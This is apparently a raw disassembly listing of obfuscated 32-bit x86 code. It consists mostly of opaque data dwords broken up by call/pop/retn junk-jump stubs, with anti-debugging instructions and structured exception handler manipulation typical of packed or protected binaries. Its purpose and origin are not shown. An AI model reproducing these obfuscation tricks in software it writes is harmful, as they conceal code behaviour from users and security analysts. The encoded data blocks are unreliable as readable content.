		dd 0EA5CD5F8h, 8B66F15Ch, 1AEB80F8h, 7D9D8B52h,	5B05D110h
		dd 35FF64h, 8B000000h, 0D124399Dh, 25896405h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5ABBEF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ABBEF	proc near		; CODE XREF: ud2_____:005ABBE7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5ABBEF	endp

; ---------------------------------------------------------------------------
		db 0BEh
		dd 0FFEF5C48h, 0D1271985h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 59EE4D2Eh
		dd 68E0Fh, 9D8B0000h, 5D12DBDh,	8E8FF6Ah, 0A5000000h, 2CFD78A3h
		dd 0BBF2E4E0h, 16770B75h, 6DB5FF5Bh, 6A05D111h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 171FC353h, 0BD8BD9E0h, 5D10089h, 127995FFh, 3BE905D1h
		dd 8B000001h, 0D127219Dh, 6600B005h, 70E6FA8Bh,	82D38166h
		dd 2DBD8933h, 0E405D124h, 5D953171h, 6605D108h,	613CDA8Bh
		dd 110830Fh, 8F0F0000h,	5, 1FDE36BBh, 0C8B60F5Ah, 333509BFh
		dd 6BA34h, 95290000h, 5D11AA9h,	11E9C18Bh, 1C000000h, 1961EADBh
		dd 51652842h, 0FE220B24h, 0EAB0344Ah, 6604E8C1h, 0F88AE2F7h
		dd 7E9C82Bh, 0B9000000h, 0C2077203h, 0D18BFDA4h, 19BDB589h
		dd 0DE905D1h, 60000000h, 20ED9D8Bh, 816605D1h, 61C0F2F0h
		dd 0AD5858Bh, 816605D1h, 83F21BE7h, 0AE807C0h, 9A000000h
		dd 0AF5AA0DAh, 8C9D4E5Bh, 0B70F605Fh, 7E9DFh, 9EE90000h
		dd 3084ABFCh, 835B61E8h, 820F00C0h, 6, 7BE9E781h, 0D03B4F84h
		dd 28830Fh, 0C3800000h,	5CE972h, 14E80000h, 0E7000000h
		dd 31BB9530h, 0ED703EAEh, 5C7F438Dh, 6E464F4h, 33D2C4C4h
		dd 0D132019Dh, 8D8B5F05h, 5D12D45h, 83D9B70Fh, 840F01E1h
		dd 2Ah,	0B45BD8Bh, 0D38105D1h, 121E252Fh, 2D45A583h, 89FE05D1h
		dd 0D10AD595h, 0D19D2B05h, 8B05D100h, 0D1135DBDh, 0E905h
		dd 0B58D0000h, 5D4A2C2h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 27C35545h, 12582EF0h,	0F78166E3h, 6A21A0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 83C35242h
		dd 5995FF39h, 0BB05D124h, 277DB668h, 720B9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E62566BAh, 15E12C0Ch, 0FE821h, 0D1D80000h, 82750553h
		dd 113F9DD3h, 24167A55h, 61B58996h, 5B05D11Bh, 4C6FF381h
		dd 0E18301C1h, 52006AFCh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0FCA2ED6Fh, 5DBD2353h
		dd 5B05D130h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0F9E8DC69h, 1850F02h
		dd 0F5000000h, 6AD22Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 35780C3h, 0E5BB2AF0h, 0AD1017D9h
		dd 0E8D1C233h, 0E983D003h, 1F47504h, 0D122059Dh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0DDEC3B7h, 860FB085h, 0Ah, 0E19D8960h, 8B05D113h, 880D61CAh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0ACEDC351h, 15DCA483h,	958B5BFEh
		dd 5D11021h, 22819589h,	8D8B05D1h, 5D11C09h, 1FB5BD03h
		dd 8B5005D1h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 7E9h, 0AE10C600h, 7B8484EFh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 61C35141h, 84C7810Ch, 831457EAh
		dd 0D10049BDh, 840F0005h, 5Eh, 13E9h, 8E9BE800h, 84FE5434h
		dd 0E4793565h, 0CF310AC5h, 0F78A321Dh, 0B8h, 0F88B6600h
		dd 4CBD8D8Dh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 1DB882C3h, 16B9BD8Bh, 830F05D1h
		dd 6, 1CE59D8Bh, 0E1FF05D1h, 2215BD89h,	0BD8305D1h, 5D10679h
		dd 0B5840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 989FC350h, 3BF84F84h
		dd 8D0F3545h, 12h, 6E8h, 3A4EAE00h, 899454FAh, 0D124EDB5h
		dd 0BD835F05h, 5D10679h, 88840F01h, 80000004h, 0BD8340F3h
		dd 5D10679h, 42860F03h,	8B000004h, 0D10EE19Dh, 6A6005h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0B010A8C3h, 0FF51CB6h, 0C8Dh, 6860F00h, 89000000h, 0D117A9B5h
		dd 0D98C6605h, 0C1EB8166h, 4E180FFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 99C35141h, 0BF31DA95h, 0FC90AF5h
		dd 1AE84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 8FCD9E08h, 1731858Bh, 0E38105D1h
		dd 777471FFh, 0E718533h, 6A05D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0C69D38C3h, 3A8A1779h
		dd 0C78160F5h, 459F34BBh, 0B7509061h, 6A90CFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 2B8381C3h, 0EFFAF7CFh, 8B7A2BD0h, 0D130B5BDh, 56E78005h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 2B2286C3h, 953128ECh, 5D10A8Dh, 0B5A1C968h
		dd 0CE804h, 1C750000h, 43140062h, 12C8CB34h, 815B4873h
		dd 0A2362434h, 6A04AAh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0F322BEC3h, 9101192Eh, 0BDB589D1h
		dd 0FF05D106h, 0D1111D95h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 11236CFh, 8F9BC7D4h
		dd 659D8B4Eh, 0E905D100h, 0Dh, 4645F240h, 5E263AA2h, 0E598B664h
		dd 0FF860B2h, 68Fh, 71BD8900h, 6105D106h, 83138589h, 800F05D4h
		dd 6, 311DBD8Bh, 17E905D1h, 6A000002h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7B80C353h
		dd 0B31F8315h, 68C0F1Ch, 8B000000h, 0D12ABD9Dh,	5E805h
		dd 95A30000h, 0E9A5382Ch, 0Ah, 21023972h, 8C20FED8h, 8B5F6B70h
		dd 0D4830B85h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 124B4D8Dh, 1236CF04h
		dd 1800C7h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 60EABEC3h, 11E9h, 9F32B000h, 90BA66B9h
		dd 4A2F3AE5h, 4138D80Bh, 7ABE4BABh, 612690DDh, 830FB58Bh
		dd 6A05D4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0C0CC6C3h, 95298A72h, 5D109B1h, 22A9858Bh
		dd 6A05D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 89E3E3C3h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 858B2EECh, 5D11731h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 98C35040h, 0BF0FCB57h
		dd 44689FFh, 0D88B6650h, 0FFB70F5Fh, 24348950h,	0AE9h
		dd 0FDF87100h, 0FD4533ACh, 81B0A4D7h, 9AA692CFh, 0BB5FF0Fh
		dd 6605D483h, 2075DF81h, 0B7F54068h, 5A56606Eh,	0BE8h
		dd 0CC155A00h, 7199CCFEh, 6A6E404h, 3481615Ah, 0A8F6BF24h
		dd 55006A6Eh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 3C7CC2EFh, 0C18D294Fh, 8D05D127h, 0D4831385h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 8DE48120h, 0E850E3D4h, 14h, 0AD58DF9Ch
		dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh,	0D90DBB66h
		dd 2404895Fh, 20398589h, 95FF05D1h, 5D1111Dh, 1665BD8Bh
		dd 296105D1h, 0D11E718Dh, 7985C705h, 305D106h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0B584C352h, 0CBBF1954h, 66DF8B75h, 83F991BFh
		dd 0D48313BDh, 840F0005h, 11h, 250D9D8Bh, 21E905D1h, 1000000h
		dd 0D123DD9Dh, 0C305005h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 6E9h, 0D3FAD300h, 83DF0735h
		dd 0D10679BDh, 850F0305h, 47Dh,	83C3C380h, 0D48313BDh
		dd 840F0005h, 46Dh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0B5C35545h, 8BA797D5h, 0D11925BDh, 0FF03B305h
		dd 0D48313B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0DE0F4216h, 0DB8166A1h
		dd 8D318038h, 5D11675h,	2FD95FFh, 6A05D1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F8917CC3h
		dd 8307B58Bh, 6A05D4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0D42630C3h, 1BFED542h, 9D8B0106h
		dd 5D1024Dh, 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BDA14C3h, 5E996D8h
		dd 0B7000000h, 0B01C437Ch, 96DF8B50h, 7E8h, 39C93200h
		dd 0AB0340AFh, 1224BF66h, 800F5Bh, 0FF000000h, 0D48313B5h
		dd 8E905h, 0AC190000h, 4CD4980Fh, 95FF2BDDh, 5D10681h
		dd 0BE9h, 66F62500h, 0EFB521A9h, 8D15A525h, 0DE9h, 7F3D100h
		dd 0A7CDA63Dh, 335250A9h, 0B58B9613h, 5D48307h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BFC35646h, 6810Fh
		dd 0BD8B0000h, 5D10961h, 1791858Bh, 6A05D1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 945573C3h
		dd 0C48689D0h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 26DDC353h, 36B1E03Fh
		dd 0D1958B60h, 6105D112h, 959D8Bh, 958B05D1h, 5D11021h
		dd 5E9h, 44882E00h, 0C2835C24h,	818D0104h, 8005D10Eh, 5089BAD7h
		dd 50006A20h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 198D8909h, 8D05D111h, 0D4963185h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D3BE224Bh, 8689D8B7h, 0B8h,	0D6D8D09h, 6A05D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0AC35040h, 0D018CDD1h
		dd 2D95899Ah, 0FF05D123h, 0D48313B5h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0FF73B932h, 0D131F595h, 159D8B05h, 8105D11Bh, 9D2D82EFh
		dd 51605018h, 10E8h, 7B1FBB00h,	922FB26Ah, 7240B8EFh, 0C9753296h
		dd 60595BDAh, 8E0F5A56h, 0
; ---------------------------------------------------------------------------
		popa
		popa
		mov	[esp], esi
		push	0
		push	edx
		call	sub_5AC7E8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC7E8	proc near		; CODE XREF: ud2_____:005AC7E0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5AC7E8	endp

; ---------------------------------------------------------------------------
		mov	cl, 0E9h
		push	dword ptr [ebp+5D48313h]
		mov	di, 0F96Fh
		call	dword ptr [ebp+5D102D5h]
		movzx	edi, si
		mov	[ebp+5D12695h],	eax
		cmp	dword ptr [ebp+5D11F7Dh], 0
		jz	loc_5AC88A
		push	0
		push	edi
		call	sub_5AC82B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC82B	proc near		; CODE XREF: ud2_____:005AC823p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5AC82B	endp

; ---------------------------------------------------------------------------
		db 11h
		dd 655AB646h, 0B6A26A4Bh, 0F98A50F5h, 6A243489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 1A1EC350h, 0CA0B6CA6h, 13E8D24Dh, 0E2000000h, 5BCB45A9h
		dd 1F93DC7Ah, 7B64A983h, 717DD939h, 0CB807920h
		db 82h,	5Fh
; ---------------------------------------------------------------------------


loc_5AC88A:				; CODE XREF: ud2_____:005AC81Aj
		push	dword ptr [ebp+5D48313h]
		push	0
		push	ecx
		call	sub_5AC89B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC89B	proc near		; CODE XREF: ud2_____:005AC893p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5AC89B	endp

; ---------------------------------------------------------------------------
		db 7Ch
		dd 29D36EE5h, 4901A1DBh, 0BDBD8B9Dh, 0FF05D119h, 0D1135995h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0FFDE8BC3h, 0D48313B5h, 3995FF05h, 8905D11Dh
		dd 0D11D158Dh, 0DBD8305h, 205D107h, 67840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 2BA6F3C3h, 17A5858Bh, 6A05D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 13E981C3h, 0C0000000h
		dd 58F021AAh, 1B090E34h, 3395788Bh, 42A6685Ch, 0C6D2FFh
		dd 0A0F78100h, 8B4CC72Fh, 0D11B219Dh, 5585C705h, 5D11Fh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 9758C355h, 0A4D897B0h,	73C5BFD3h
		dd 0F29AE9F9h, 850FFFFFh, 1, 0F9C18BFCh, 68D858Dh, 6A05D1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0F91A13C3h, 8B71046Ch, 0D10105BDh, 4895005h,	70CF8024h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 271B65C3h, 3148EB80h, 0D1213985h,	66006A05h
		dd 858DF98Bh, 5D52DB8h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0D8C35141h, 5E600F84h, 0E9CC203Eh, 0Ch
		dd 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 6A05C083h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 8CECC351h, 500DEB1Ch, 8E951h, 49B70000h, 0F2DBC43Bh
		dd 605B985Eh, 0FCF8B66h, 680h, 55858900h, 6105D10Bh, 8B49BB90h
		dd 0F50509Dh, 482h, 0C7BF6600h,	0DF819023h, 5CEF7FEh, 9D8B006Ah
		dd 5D11E91h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0C079C9C3h, 2FD828BFh, 0BB661BF8h
		dd 0E781192Dh, 1BA1CE8Ah, 95FFF98Bh, 5D11B39h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 81C35343h, 0E24048D2h
		dd 8D8D194Bh, 5D481CFh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 8BC35747h, 0FAFBB1DFh, 6AD1FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0FB943C3h, 48Ah, 5B515100h, 0E9BD835Fh, 105D120h, 86850Fh
		dd 9D290000h, 5D12689h,	9529026Ah, 5D12159h, 8E950h, 0DAD70000h
		dd 6C23877Bh, 489C976h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 3B352F2Bh, 14E99DE0h
		dd 0E8000000h, 721A8292h, 4E6179D8h, 0B771EACBh, 0EDDA9997h
		dd 0B69D55Fh, 0D10B55BDh, 7E905h, 0A0B10000h, 0BE5334CBh
		dd 0F595FF12h, 0E905D131h, 10h,	370A1B02h, 63D14819h, 0B69423EFh
		dd 9A1317C8h, 0C5DE9h, 0E800h, 815D0000h, 0D52DC2EDh, 6AFC05h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 6FA763C3h, 8155AE56h, 8BEDCDCBh, 0B1858D4Ah,	8105D472h
		dd 6FC7C6C3h, 0DF8B9073h, 435FBB50h, 0B3904D2Dh, 35FF64CDh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5ACC43
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACC43	proc near		; CODE XREF: ud2_____:005ACC3Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5ACC43	endp

; ---------------------------------------------------------------------------
		lodsb
		push	0FFFFFFFDh
		setalc
		mov	bl, 0A5h
		shr	dword ptr [esi-27749918h], cl
		mov	large fs:0, esp
		push	ebx
		sub	[ebp+5D116E1h],	edi
		pop	edi
		inc	dword ptr [ebp+5D12719h]
		push	0
		push	esi
		call	sub_5ACC7F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACC7F	proc near		; CODE XREF: ud2_____:005ACC77p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5ACC7F	endp

; ---------------------------------------------------------------------------
		imul	eax, esi
		sti
		mov	ebx, [ebp+5D131E5h]
		push	0FFFFFFFFh
		push	0
		push	ecx
		call	sub_5ACCA6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACCA6	proc near		; CODE XREF: ud2_____:005ACC9Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5ACCA6	endp

; ---------------------------------------------------------------------------
		dw 4EA5h
		dd 65B57747h, 0EB81665Ch, 9D8B124Ah, 5D12361h, 1571B5FFh
		dd 896005D1h, 0D112958Dh, 0F28B6605h, 7995FF61h, 0E905D112h
		dd 133h, 50B43ABBh, 81BD8976h, 0B005D10Dh, 75858900h, 0F05D10Eh
		dd 70E6F9B7h, 2495BD8Bh, 71E405D1h, 61D38166h, 0C1BD2958h
		dd 3C05D124h, 830F61h, 8B000001h, 0C8B60FFBh, 0E45050BFh
		dd 6BA33h, 81660000h, 8B839DDFh, 0C1DE8BC1h, 0EB8104E8h
		dd 3F327199h, 31E2F766h, 0D10ADDBDh, 8BC82B05h,	0D1204DBDh
		dd 9D18B05h, 0D1300185h, 899D8905h, 0E905D114h,	6, 0D049DF81h
		dd 858B373Eh, 5D13285h,	5270CEBBh, 7C0835Ch, 9E9h, 0F4731E00h
		dd 2770186Dh, 0C0836D25h, 13E900h, 12DE0000h, 7DFB6239h
		dd 0F06712Bh, 7C0C16D2h, 561D4B46h, 0FD03B4Ch, 2883h, 0FB8B6600h
		dd 6EE9h, 9E900h, 16BB0000h, 4A2D81FBh,	0FE5EE81h, 0C88h
		dd 7E900h, 59840000h, 85F4CBE0h, 358D8BB1h, 0E905D10Dh
		dd 13h,	0F686A82Bh, 0EDEDD001h,	0A49D7628h, 68DD2346h
		dd 8319F9E1h, 840F01E1h, 27h, 1B0D9D89h, 9D8905D1h, 5D10CB5h
		dd 0D35A583h, 66FE05D1h, 667204BBh, 0FF9DF781h,	32859589h
		dd 0E905D1h, 8D000000h,	0D4AC6DB5h, 810F05h, 6A000000h
		dd 59D8900h, 0FF05D106h, 0D1245995h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0A2627667h
		dd 68FD1C3Eh, 7FDB901h,	0AE80000h, 0
; ---------------------------------------------------------------------------
		icebp
		aas
		add	eax, 135C2CB9h
		dec	ecx
		dec	edi
		mov	edi, eax
		pop	edi
		and	ecx, 0FFFFFFFCh
		mov	[ebp+5D11225h],	ecx
		movsx	edi, cx
		cld
		push	0
		push	edi
		call	sub_5ACE84
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACE84	proc near		; CODE XREF: ud2_____:005ACE7Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5ACE84	endp

; ---------------------------------------------------------------------------
		dd 0EFF54929h, 0B75FFFE5h, 0D98BEFA5h, 2ABDB529h, 0C02B05D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9C35545h
		dd 8B0F32D1h, 6, 0B799D8Bh, 0BA05D1h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0D492C357h, 1840F9Eh, 0F5000000h, 0B6C1EB81h, 33AD3366h
		dd 3E8D1C2h, 4E983D0h, 0FE9F475h, 0AE000000h, 5A67C091h
		dd 0F50B0D3Ch, 73B32479h, 9D8B5E7Bh, 5D10019h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 23C35040h, 8B66AC95h
		dd 618589D8h, 0D05D110h, 88h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 9CC35747h, 1EAC7286h, 172320BBh
		dd 22018D89h, 0D38105D1h, 0BC8E3CFh, 1021958Bh,	9D8B05D1h
		dd 5D11255h, 1C098D8Bh,	6A05D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 95CCBAC3h, 0B0D197BFh
		dd 95311481h, 5D11E59h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 7E95818h,	0F0000000h, 5A8D3A53h, 6A484Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 53F698C3h, 664C45E0h, 4A96E381h, 32B18D89h, 0BD8305D1h
		dd 5D10049h, 3C840F00h,	0F5000000h, 0B8h, 9D235100h, 5D11C31h
		dd 0BD8D8D5Fh, 2B05D14Ch, 0D11CC9BDh, 6AE1FF05h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 9687C356h, 83A7FF3Dh, 0D10679BDh, 840F0005h,	42Bh, 0A5BD8950h
		dd 5B05D113h, 679BD83h,	0F0105D1h, 43184h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0FE3488FEh, 94C55664h, 85236080h, 5D11259h, 0BD8361FCh
		dd 5D10679h, 0C1860F03h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0FAE7C351h
		dd 0BD8B8D7Fh, 5D1138Dh, 32C1BD8Bh, 6A6005D1h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 1626C355h, 6C73F678h, 0D8B70FE6h, 0E9D98C66h, 9, 85FEB712h
		dd 0A0D618A3h, 4E18046h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0C35646h, 6606665Dh, 8A0FB9h,	0A000000h
		dd 40840FC9h, 9000001h,	0D11DB5BDh, 31858B05h, 8905D117h
		dd 0D1158195h, 71853305h, 6A05D10Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0F728C355h
		dd 290F435Dh, 9D5F3FFh,	0D1230185h, 52509005h, 0FD88B66h
		dd 0FB8B6631h, 6650585Ah, 6A90F98Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 4C7BC351h
		dd 6850Fh, 0BD890000h, 5D113BDh, 66B7006Ah, 4592DE68h
		dd 24348162h, 625A9121h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 2FC35646h, 8D53CC2h, 111D95FFh, 6A05D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 516476C3h, 13E9h, 4080A500h,	14E998EAh, 561A6EFAh, 0F5E74A63h
		dd 367CDC3Dh, 0AE95Fh, 995D0000h, 0D4AAE500h, 68D51C96h
		dd 83138589h, 11E905D4h, 1D000000h, 8B266121h, 73594925h
		dd 29A52139h, 9B4C6A95h, 1A1E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 4ACBEE4Fh
		dd 299D297Fh, 8B05D124h, 0D4830B85h, 0A9958905h, 0C705D102h
		dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8BE55903h, 0D123BD9Dh, 0FB58B05h
		dd 6A05D483h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 6122C357h, 6640E661h, 7748DB81h
		dd 22A9858Bh, 6A05D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 850999C3h, 5D11939h, 0D619501h
		dd 0DA8A05D1h, 81660689h, 8B47B1C7h, 0D1173185h, 29BD8B05h
		dd 2905D132h, 0D108659Dh, 4468905h, 8948EB80h, 0D11AC995h
		dd 34895005h, 4442BB24h, 0BD8B0168h, 5D119F5h, 830BB5FFh
		dd 0BD2905D4h, 5D112B5h, 35542C68h, 606060BDh, 615E5161h
		dd 24048161h, 42E9AFD3h, 8311BF66h, 8313858Dh, 16005D4h
		dd 0D131F19Dh, 50506105h, 66525052h, 310FF98Bh,	0FE8h
		dd 0FB9CBB00h, 0A35C5CE7h, 76C22E1h, 0A8844ECh,	0F585A5Bh
		dd 5A06B331h, 24048958h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 8DC35040h, 0D81FA2DDh, 1D95FF9Ch, 6A05D111h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 1B1BC357h, 1A66194Dh, 0AE9h, 5140ED00h, 0E0B5F879h
		dd 80F40897h, 8961E5EFh, 0D1248195h, 7985C705h,	305D106h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 111BC355h, 72683879h, 8D583F0Eh
		dd 83DFBF0Fh, 0D48313BDh, 840F0005h, 2Ch, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 2CC35040h, 0EEB4677Ah
		dd 8ED512A2h, 1DE90Eh, 57B70000h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 9C08B00h,	0D124E1BDh
		dd 0DE8B6605h, 0BD83FE8Bh, 5D10679h, 4B850F03h,	0E8000003h
		dd 7, 0E85B8161h, 8967EB8Eh, 0D1112595h, 0BD835F05h, 5D48313h
		dd 2B840F00h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
